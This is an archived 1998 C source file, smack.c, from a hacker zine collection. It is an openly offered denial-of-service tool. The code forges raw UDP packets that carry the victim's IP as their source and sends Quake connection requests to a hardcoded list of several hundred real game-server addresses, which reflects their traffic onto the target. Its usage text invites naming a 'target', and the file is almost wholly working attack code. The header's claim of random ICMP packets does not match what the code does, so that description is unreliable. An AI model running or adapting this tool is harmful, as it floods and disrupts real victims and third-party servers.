home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / smack.c < prev    next >
Text File  |  1998-12-16  |  15KB  |  585 lines

  1. /*
  2.    smack.c [code released - Oct 23rd 1998 by - Iron-lungs]
  3.    http://www.legion2000.org
  4.  
  5.    Derived: Based on a old D.o.s exploit used to crash large quake servers.
  6.  
  7.    Overview: sends random Icmp unreachable packets from random ip#'s -
  8.  
  9.    Result:  Result is a basic lock up on all windows platforms even affects , BSD , Redhat and
  10.    slackware versions. The user will instantly recieve the packets by the 1,000's , resulting
  11.    in a large boost of CPU , aventuly they have no response to their browser , ftp , telnet and
  12.    other such clients as ICQ and mIRc also reset.
  13.  
  14.    Tip: try using this exploit with the repeat method "eg: ./smack 127.0.0.1 ; ./smack
  15.    127.0.0.1 "
  16.  
  17.    Finishing comments: No responsibility is taken from the results of this script, use at risk.
  18.  
  19.           /smack.c is a addition for ultrsmack.tar.gz which has yet to be released /
  20.  
  21. */
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <string.h>
  25. #include <fcntl.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <netinet/in_systm.h>
  30. #include <netinet/ip.h>
  31. #include <netinet/udp.h>
  32. #include <sys/uio.h>
  33. #include <unistd.h>
  34. char conn_pack0[] = { -128,0,0,12,1,81,85,65,75,69,0,3 };
  35. char conn_pack1[] = { -1,-1,-1,-1,99,111,110,110,101,99,116,32,34,92,110,111,
  36.                       97,105,109,92,48,92,109,115,103,92,49,92,114,97,116,
  37.                       101,92,50,53,48,48,92,98,111,116,116,111,109,99,111,
  38.                       108,111,114,92,49,98,92,116,111,112,99,111,108,111,114,
  39.                       92,110,97,109,101,92,83,110,111,111,112,121,34,10 };
  40. #define PS0 20+8+12
  41. #define PS1 20+8+strlen(conn_pack1)
  42. char *servers[] = {
  43. "129.15.3.38:26000:0",
  44. "207.123.126.4:26000:0",
  45. "129.15.3.38:26001:0",
  46. "129.15.3.38:26002:0",
  47. "192.107.41.7:26000:0",
  48. "157.182.246.58:26000:0",
  49. "128.52.42.22:26000:0",
  50. "209.51.213.12:26000:0",
  51. "209.112.14.200:26000:0",
  52. "144.92.218.112:26000:0",
  53. "200.239.253.14:26000:0",
  54. "146.227.105.5:26000:0",
  55. "209.12.13.20:26000:0",
  56. "134.147.141.98:26000:0",
  57. "137.48.127.127:26000:0",
  58. "209.51.192.228:26000:0"
  59. "159.134.244.134:26000:0",
  60. "207.229.129.193:26000:0",
  61. "194.125.2.219:26001:0",
  62. "206.98.138.162:26000:0",
  63. "134.193.111.241:26000:0",
  64. "207.40.196.13:26000:0",
  65. "209.26.6.121:26000:0",
  66. "208.194.67.16:26000:0",
  67. "205.163.58.20:26000:0",
  68. "199.247.156.6:26000:0",
  69. "12.72.1.37:26000:0",
  70. "216.65.157.101:26000:0",
  71. "206.103.0.200:26000:0",
  72. "207.198.211.22:26000:0",
  73. "148.176.238.89:26000:0",
  74. "208.255.165.53:26000:0",
  75. "208.240.197.32:26000:0",
  76. "209.192.31.148:26000:0",
  77. "159.134.244.132:26000:0",
  78. "195.96.122.8:26000:0",
  79. "209.30.67.88:26000:0",
  80. "209.36.105.50:26000:0",
  81. "62.136.15.45:26000:0",
  82. "208.18.129.2:26000:0",
  83. "208.0.188.6:26000:0",
  84. "208.137.128.24:26000:0",
  85. "198.106.23.1:26000:0",
  86. "209.122.33.45:26000:0",
  87. "208.23.24.79:26000:0",
  88. "200.34.211.10:26000:0",
  89. "208.45.42.111:26000:0",
  90. "203.23.47.43:26000:0",
  91. "207.239.192.51:26000:0",
  92. "165.166.140.122:26000:0",
  93. "207.19.125.13:26000:0",
  94. "144.92.229.122:26000:0",
  95. "199.202.71.203:26000:0",
  96. "200.255.244.2:26000:0",
  97. "207.30.184.9:26000:0",
  98. "129.186.121.53:26000:0",
  99. "204.210.15.71:26000:0",
  100. "198.101.39.41:26000:0",
  101. "203.45.23.123:26000:0",
  102. "205.23.45.223:26000:0",
  103. "34.224.14.118:26000:0",
  104. "200.24.34.116:26000:0",
  105. "133.45.342.124:26000:0",
  106. "192.52.220.101:26000:0",
  107. "194.126.80.142:26000:0",
  108. "206.171.181.1:26000:0",
  109. "208.4.5.9:26000:0",
  110. "206.246.194.16:26000:0",
  111. "205.139.62.15:26000:0",
  112. "204.254.98.15:26000:0",
  113. "207.206.116.41:26000:0",
  114. "208.130.10.26:26000:0",
  115. "207.126.70.69:26000:0",
  116. "38.241.229.103:26000:0",
  117. "204.170.191.6:26000:0",
  118. "144.92.243.243:26000:0",
  119. "144.92.111.117:26000:0",
  120. "194.229.103.195:26000:0",
  121. "208.134.73.42:26000:0",
  122. "207.64.79.1:26000:0",
  123. "171.64.65.70:26004:0",
  124. "207.13.110.4:26000:0",
  125. "204.253.208.245:26000:0",
  126. "165.166.144.45:26000:0",
  127. "128.252.22.47:26000:0",
  128. "204.210.15.71:26001:0",
  129. "193.88.50.50:26000:0",
  130. "209.155.24.25:26000:0",
  131. "204.49.131.19:26000:0",
  132. "199.67.51.102:26000:0",
  133. "207.114.144.200:26000:0",
  134. "165.166.140.140:26000:0",
  135. "38.233.80.136:26000:0",
  136. "204.216.57.249:26000:0",
  137. "199.72.175.4:26000:0",
  138. "204.91.237.250:26000:0",
  139. "206.191.0.209:26000:0",
  140. "194.109.6.220:26000:0",
  141. "207.67.188.25:26000:0",
  142. "160.45.32.176:26000:0",
  143. "206.246.194.15:26000:0",
  144. "207.65.182.12:26000:0",
  145. "204.213.176.8:26000:0",
  146. "207.99.85.67:26000:0",
  147. "209.172.129.66:26000:0",
  148. "132.230.63.23:26000:0",
  149. "206.149.144.14:26000:0",
  150. "147.188.209.113:26000:0",
  151. "204.141.86.42:26000:0",
  152. "207.8.164.27:26000:0",
  153. "204.254.98.11:26000:0",
  154. "204.216.126.251:26000:0",
  155. "207.206.65.5:26000:0",
  156. "209.12.170.11:26000:0",
  157. "131.111.226.98:26000:0",
  158. "194.65.5.103:26000:0",
  159. "204.202.54.95:26000:0",
  160. "204.97.179.4:26000:0",
  161. "24.0.147.54:26000:0",
  162. "207.170.48.24:26000:0",
  163. "199.217.218.8:26000:0",
  164. "207.166.192.85:26000:0",
  165. "206.154.148.145:26000:0",
  166. "206.248.16.16:26000:0",
  167. "200.241.188.3:26000:0",
  168. "204.177.71.10:26000:0",
  169. "140.233.207.207:26000:0",
  170. "207.218.51.13:26000:0",
  171. "194.109.6.217:26000:0",
  172. "207.236.41.30:26000:0",
  173. "195.162.196.42:26000:0",
  174. "209.49.51.98:26020:0",
  175. "198.106.166.188:26000:0",
  176. "207.239.212.113:26000:0",
  177. "165.91.3.91:26000:0",
  178. "128.95.25.184:26666:0",
  179. "128.2.237.78:26001:0",
  180. "128.2.237.78:26003:0",
  181. "207.254.73.2:26000:0",
  182. "208.225.207.3:26666:0",
  183. "171.64.65.70:26666:0",
  184. "208.225.207.3:26001:0",
  185. "128.2.237.78:26000:0",
  186. "129.21.113.71:26000:0",
  187. "195.74.96.45:26000:0",
  188. "206.129.112.27:26000:0",
  189. "199.67.51.101:26000:0",
  190. "38.156.101.2:26000:0",
  191. "204.177.39.44:26000:0",
  192. "207.173.16.53:26000:0",
  193. "207.175.30.130:26123:0",
  194. "128.52.38.15:26000:0",
  195. "204.49.131.19:26666:0",
  196. "129.21.114.129:26666:0",
  197. "128.2.237.78:26002:0",
  198. "18.238.0.24:26001:0",
  199. "140.247.155.208:26000:0",
  200. "208.137.139.8:26000:0",
  201. "141.219.81.85:26000:0",
  202. "208.203.244.13:26000:0",
  203. "208.137.128.24:26020:0",
  204. "140.180.143.197:26666:0",
  205. "205.189.151.3:26000:0",
  206. "199.247.126.23:26000:0",
  207. "18.238.0.24:26002:0",
  208. "206.98.138.166:26000:0",
  209. "128.2.74.204:26000:0",
  210. "198.87.96.254:26000:0",
  211. "204.209.212.5:26000:0",
  212. "207.171.0.68:26002:0",
  213. "159.134.244.133:26000:0",
  214. "195.170.128.5:26000:0",
  215. "198.164.230.15:26000:0",
  216. "130.236.249.227:26000:0",
  217. "193.88.50.50:26001:0",
  218. "143.44.100.20:26000:0",
  219. "129.15.3.39:26000:0",
  220. "205.219.23.3:26000:0",
  221. "205.177.27.190:26000:0",
  222. "207.172.7.66:26000:0",
  223. "209.144.56.16:26000:0",
  224. "128.164.141.5:26000:0",
  225. "129.2.237.36:26000:0",
  226. "206.98.138.165:26000:0",
  227. "194.100.105.71:26000:0",
  228. "194.158.161.28:26000:0",
  229. "203.87.2.13:26000:0",
  230. "141.219.83.69:26000:0",
  231. "198.83.6.70:26000:0",
  232. "35.8.144.96:26000:0",
  233. "206.196.57.130:26000:0",
  234. "206.31.102.16:26000:0",
  235. "207.23.43.3:26000:0",
  236. "207.18.86.50:26000:0",
  237. "207.87.203.20:26000:0",
  238. "198.161.102.213:26000:0",
  239. "24.1.226.74:26000:0",
  240. "207.207.32.130:26000:0",
  241. "165.166.140.160:26000:0",
  242. "204.248.210.20:26000:0",
  243. "207.87.203.28:26000:0",
  244. "165.166.140.111:26000:0",
  245. "24.3.132.9:26000:0",
  246. "205.217.206.189:26000:0",
  247. "207.99.85.69:26000:0",
  248. "192.124.43.75:26000:0",
  249. "199.72.175.156:26000:0",
  250. "209.98.3.217:26000:0",
  251. "206.154.138.8:26000:0",
  252. "205.199.137.12:26000:0",
  253. "204.177.184.31:26000:0",
  254. "192.124.43.73:26000:0",
  255. "171.64.65.70:26000:0",
  256. "165.91.21.113:26000:0",
  257. "198.17.249.14:26000:0",
  258. "156.46.147.17:26000:0",
  259. "207.13.5.18:26000:0",
  260. "208.212.201.9:26000:0",
  261. "207.96.243.5:26000:0",
  262. "206.196.153.201:26000:0",
  263. "204.171.58.6:26000:0",
  264. "140.180.143.197:26000:0",
  265. "207.3.64.52:26000:0",
  266. "207.65.218.15:26000:0",
  267. "194.42.225.247:26000:0",
  268. "205.228.248.27:26000:0",
  269. "204.216.126.250:26000:0",
  270. "128.230.33.90:26000:0",
  271. "128.163.161.105:26000:0",
  272. "208.0.122.12:26000:0",
  273. "206.53.116.243:26000:0",
  274. "199.76.206.54:26000:0",
  275. "194.239.134.18:26000:0",
  276. "208.153.58.17:26000:0",
  277. "206.147.58.45:26000:0",
  278. "204.220.36.31:26000:0",
  279. "207.239.212.107:26000:0",
  280. "206.230.18.20:26000:0",
  281. "195.18.128.10:26000:0",
  282. "151.198.193.6:26000:0",
  283. "208.0.122.11:26000:0",
  284. "206.149.80.99:26000:0",
  285. "207.239.212.244:26000:0",
  286. "129.128.54.168:26000:0",
  287. "194.229.154.41:26000:0",
  288. "207.51.86.22:26000:0",
  289. "207.201.91.8:26000:0",
  290. "205.216.83.5:26000:0",
  291. "208.201.224.211:26000:0",
  292. "194.144.237.50:26000:0",
  293. "147.83.61.32:26000:0",
  294. "136.201.40.50:26000:0",
  295. "132.235.197.72:26000:0",
  296. "195.173.25.34:26000:0",
  297. "194.143.8.153:26000:0",
  298. "194.109.6.218:26000:0",
  299. "18.238.0.24:26000:0",
  300. "129.21.112.194:26000:0",
  301. "128.253.185.87:26000:0",
  302. "206.183.143.4:26000:0",
  303. "130.234.16.21:26000:0",
  304. "148.202.1.5:26000:0",
  305. "167.114.26.50:26000:0",
  306. "169.197.1.154:26000:0",
  307. "207.0.164.8:26000:0",
  308. "207.243.123.2:26000:0",
  309. "207.106.42.14:26000:0",
  310. "198.161.102.18:26000:0",
  311. "202.218.50.24:26000:0",
  312. "205.139.35.22:26000:0",
  313. "193.74.114.41:26000:0",
  314. "199.217.218.008:26000:0",
  315. "129.15.3.37:26000:0",
  316. "130.240.195.72:26000:0",
  317. "205.164.220.20:26000:0",
  318. "209.90.128.16:26000:0",
  319. "200.241.222.88:26000:0",
  320. "194.213.72.22:26000:0",
  321. "206.112.1.31:26000:0",
  322. "132.230.153.50:26000:0",
  323. "206.251.130.20:26000:0",
  324. "195.238.2.30:26000:0",
  325. "193.164.183.3:26000:0",
  326. "150.156.210.232:26000:0",
  327. "193.13.231.151:26000:0",
  328. "200.18.178.7:26000:0",
  329. "206.20.111.7:26000:0",
  330. "192.89.182.26:26000:0",
  331. "207.53.96.12:26000:0",
  332. "194.64.176.5:26000:0",
  333. "203.19.214.28:26000:0",
  334. "130.241.142.10:26000:0",
  335. "207.48.50.10:26000:0",
  336. "129.13.209.22:26000:0",
  337. "194.243.65.2:26000:0",
  338. "194.19.128.13:26000:0",
  339. "202.27.184.4:26000:0",
  340. "194.204.5.25:26000:0",
  341. "200.241.93.2:26000:0",
  342. "194.125.148.2:26000:0",
  343. "130.237.233.111:26000:0",
  344. "139.174.248.165:26000:0",
  345. "207.78.244.40:26000:0",
  346. "195.74.0.69:26000:0",
  347. "203.55.240.1:26000:0",
  348. "203.61.156.162:26000:0",
  349. "203.61.156.164:26000:0",
  350. "195.90.193.138:26000:0",
  351. "195.94.179.5:26000:0",
  352. "203.23.237.110:26000:0",
  353. "200.18.178.14:26000:0",
  354. "200.248.241.1:26000:0",
  355. "203.17.103.34:26000:0",
  356. "131.151.52.105:26000:0",
  357. "200.250.234.39:26000:0",
  358. "203.29.160.21:26000:0",
  359. "206.41.136.94:26000:0",
  360. "202.49.244.17:26000:0",
  361. "196.25.1.132:26000:0",
  362. "206.230.102.9:26000:0",
  363. "206.25.117.125:26000:0",
  364. "200.246.5.28:26000:0",
  365. "200.255.96.24:26000:0",
  366. "195.94.179.25:26000:0",
  367. "195.224.47.44:26000:0",
  368. "200.248.241.2:26000:0",
  369. "203.15.24.46:26000:0",
  370. "199.217.218.7:26000:0",
  371. "200.246.248.9:26000:0",
  372. "200.246.227.44:26000:0",
  373. "202.188.101.246:26000:0",
  374. "207.212.176.26:26000:0",
  375. "200.255.218.41:26000:0",
  376. "200.246.0.248:26000:0",
  377. "209.29.65.3:26000:0",
  378. "203.32.8.197:26000:0",
  379. "200.248.149.31:26000:0",
  380. "200.246.52.4:26000:0",
  381. "203.17.23.13:26000:0",
  382. "206.196.57.130:26001:0",
  383. "130.63.74.16:26000:0",
  384. "203.16.135.34:26000:0",
  385. "195.66.200.101:26000:0",
  386. "199.217.218.007:26000:0",
  387. "203.30.239.5:26000:0",
  388. "128.206.92.47:26000:0",
  389. "203.17.23.9:26000:0",
  390. "205.139.59.121:26000:0",
  391. "136.159.102.88:26000:0",
  392. "207.152.95.9:26000:0",
  393. "205.197.242.62:26000:0",
  394. "204.119.24.237:26000:0",
  395. "200.246.163.6:26000:0",
  396. "206.96.251.44:26000:0",
  397. "203.61.156.165:26000:0",
  398. "207.0.129.183:26000:0",
  399. "194.117.157.74:26000:0",
  400. "206.83.174.10:26000:0",
  401. "204.171.44.26:26000:0",
  402. "204.216.27.8:26000:0",
  403. "148.217.2.200:26000:0",
  404. "193.13.231.149:26000:0",
  405. "204.157.39.7:26000:0",
  406. "208.194.67.16:26012:0",
  407. "137.123.210.80:26000:0",
  408. "149.106.37.197:26000:0",
  409. "207.207.248.20:26000:0",
  410. "143.195.150.40:26000:0",
  411. "204.90.102.49:26000:0",
  412. "209.48.89.1:26000:0",
  413. "130.126.195.94:26000:0",
  414. "134.193.111.241:26500:0",
  415. "205.218.60.98:26001:0",
  416. "205.218.60.98:26000:0",
  417. "165.91.20.158:26000:0",
  418. "206.248.16.16:26001:0",
  419. "206.248.16.16:26002:0",
  420. "149.156.159.100:26000:0",
  421. "163.1.138.204:26000:0",
  422. "204.177.71.250:26000:0",
  423. "207.25.220.40:26000:0",
  424. "206.25.206.10:26000:0",
  425. "206.186.72.103:26000:0",
  426. "206.154.216.100:26000:0",
  427. "204.253.208.225:26000:0",
  428. "203.59.24.229:26000:0",
  429. "200.255.216.11:26000:0",
  430. "128.143.244.38:26000:0",
  431. "128.113.161.123:26000:0",
  432. "128.138.149.62:26000:0",
  433. "128.175.46.96:26000:0",
  434. "204.210.15.62:26000:0",
  435. "204.210.15.62:26001:0",
  436. "206.83.174.9:26000:0",
  437. NULL
  438. };
  439. int i, s, fl, ret;
  440. unsigned int sp, dp;
  441. struct in_addr src, dst;
  442. struct sockaddr_in addr;
  443. char pack[1024];
  444. struct ip *iph;
  445. struct udphdr *udph;
  446. int read_data(void);
  447. int parse_in(char *);
  448. int addserv(char *, unsigned int, char);
  449. void main(int argc, char *argv[])
  450. {
  451.   iph = (struct ip *)pack;
  452.   udph = (struct udphdr *)(iph + 1);
  453.   if (argc < 2) {
  454.      printf("Usage: ./smack <target to fuck>\n", argv[0]);
  455.      exit(-1);
  456.   }
  457.   printf("Slinging Packets.....\n");
  458.   src.s_addr = inet_addr(argv[1]);
  459.   if (src.s_addr == -1) {
  460.      printf("Invalid source IP: %s\n", argv[1]);
  461.      exit(-1);
  462.   }
  463.   s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  464.   if (s == -1) {
  465.      perror("socket");
  466.      exit(-1);
  467.   }
  468.   fl = 1;
  469.   ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &fl, sizeof(int));
  470.   if (ret == -1) {
  471.      perror("setsockopt");
  472.      exit(-1);
  473.   }
  474.   bzero((char *)&addr, sizeof(addr));
  475.   addr.sin_family = AF_INET;
  476.   read_data();
  477.   printf("UnFed.\n");
  478. }
  479. int parse_in(char *in)
  480. {
  481.   int i, n, c, m, ret;
  482.   char ip[16], tmp[6], mode, tmp2;
  483.   unsigned int port;
  484.   bzero(ip, 16); bzero(tmp, 6); mode = 0; port = 0; n = 0; c = 0; m = 0;
  485.   tmp2 = 0;
  486.   for (i = 0; i < strlen(in); i++) {
  487.       if (in[i] != ' ') {
  488.          if (in[i] != ':') {
  489.             if (m == 0) {
  490.                ip[c] = in[i];
  491.                c++;
  492.             }
  493.             if (m == 1) {
  494.                tmp[c] = in[i];
  495.                c++;
  496.             }
  497.             if (m == 2) {
  498.                tmp2 = in[i];
  499.                break;
  500.             }
  501.          }
  502.          else {
  503.            m++; c = 0;
  504.          }
  505.       }
  506.   }
  507.   port = (unsigned int)atoi(tmp);
  508.   mode = (tmp2 - 48);
  509.   addserv(ip, port, mode);
  510.   return ret;
  511. }
  512. int read_data(void)
  513. {
  514.   int i;
  515.   char in[1024];
  516.   for (i = 0; i < 32767; i++) {
  517.       if (servers[i] == NULL)
  518.          break;
  519.       parse_in(servers[i]);
  520.   }
  521.   return 1;
  522. }
  523. int addserv(char *ip, unsigned int port, char mode)
  524. {
  525.     bzero(pack, 1024);
  526.     dp = port;
  527.     iph->ip_v = IPVERSION;
  528.     iph->ip_hl = sizeof *iph >> 2;
  529.     iph->ip_tos = 0;
  530.     iph->ip_ttl = 40;
  531. #ifdef BSD
  532.     if (mode == 0)
  533.        iph->ip_len = PS0;
  534.     else
  535.        iph->ip_len = PS1;
  536. #else
  537.     if (mode == 0)
  538.        iph->ip_len = htons(PS0);
  539.     else
  540.        iph->ip_len = htons(PS1);
  541. #endif
  542.     iph->ip_p = IPPROTO_UDP;
  543.     iph->ip_src = src;
  544.     dst.s_addr = inet_addr(ip);
  545.     if (dst.s_addr == -1) {
  546.        printf("Invalid destination IP: %s\n", ip);
  547.     }
  548.     addr.sin_port = htons(port);
  549.     addr.sin_addr.s_addr = dst.s_addr;
  550.     iph->ip_dst = dst;
  551. #ifdef BSD
  552.     udph->uh_dport = htons(dp);
  553.     if (mode == 0) {
  554.        udph->uh_ulen  = htons(sizeof *udph + 12);
  555.        udph->uh_sport = htons(rand());
  556.     }
  557.     else {
  558.        udph->uh_ulen  = htons(sizeof *udph + strlen(conn_pack1));
  559.        udph->uh_sport = htons(27001);
  560.     }
  561. #else
  562.     udph->dest   = htons(dp);
  563.     if (mode == 0) {
  564.        udph->len  = htons(sizeof *udph + 12);
  565.        udph->source = htons(rand());
  566.     }
  567.     else {
  568.        udph->len  = htons(sizeof *udph + strlen(conn_pack1));
  569.        udph->source = htons(27001);
  570.     }
  571. #endif
  572.     if (mode == 0) {
  573.        memcpy(udph + 1, conn_pack0, 12);
  574.        ret = sendto(s, pack, PS0, 0, (struct sockaddr *)&addr, sizeof(addr));
  575.     }
  576.     else {
  577.        memcpy(udph + 1, conn_pack1, strlen(conn_pack1));
  578.        ret = sendto(s, pack, PS1, 0, (struct sockaddr *)&addr, sizeof(addr));
  579.     }
  580.     if (ret == -1) {
  581.        perror("sendto");
  582.        exit(-1);
  583.     }
  584.  }
  585.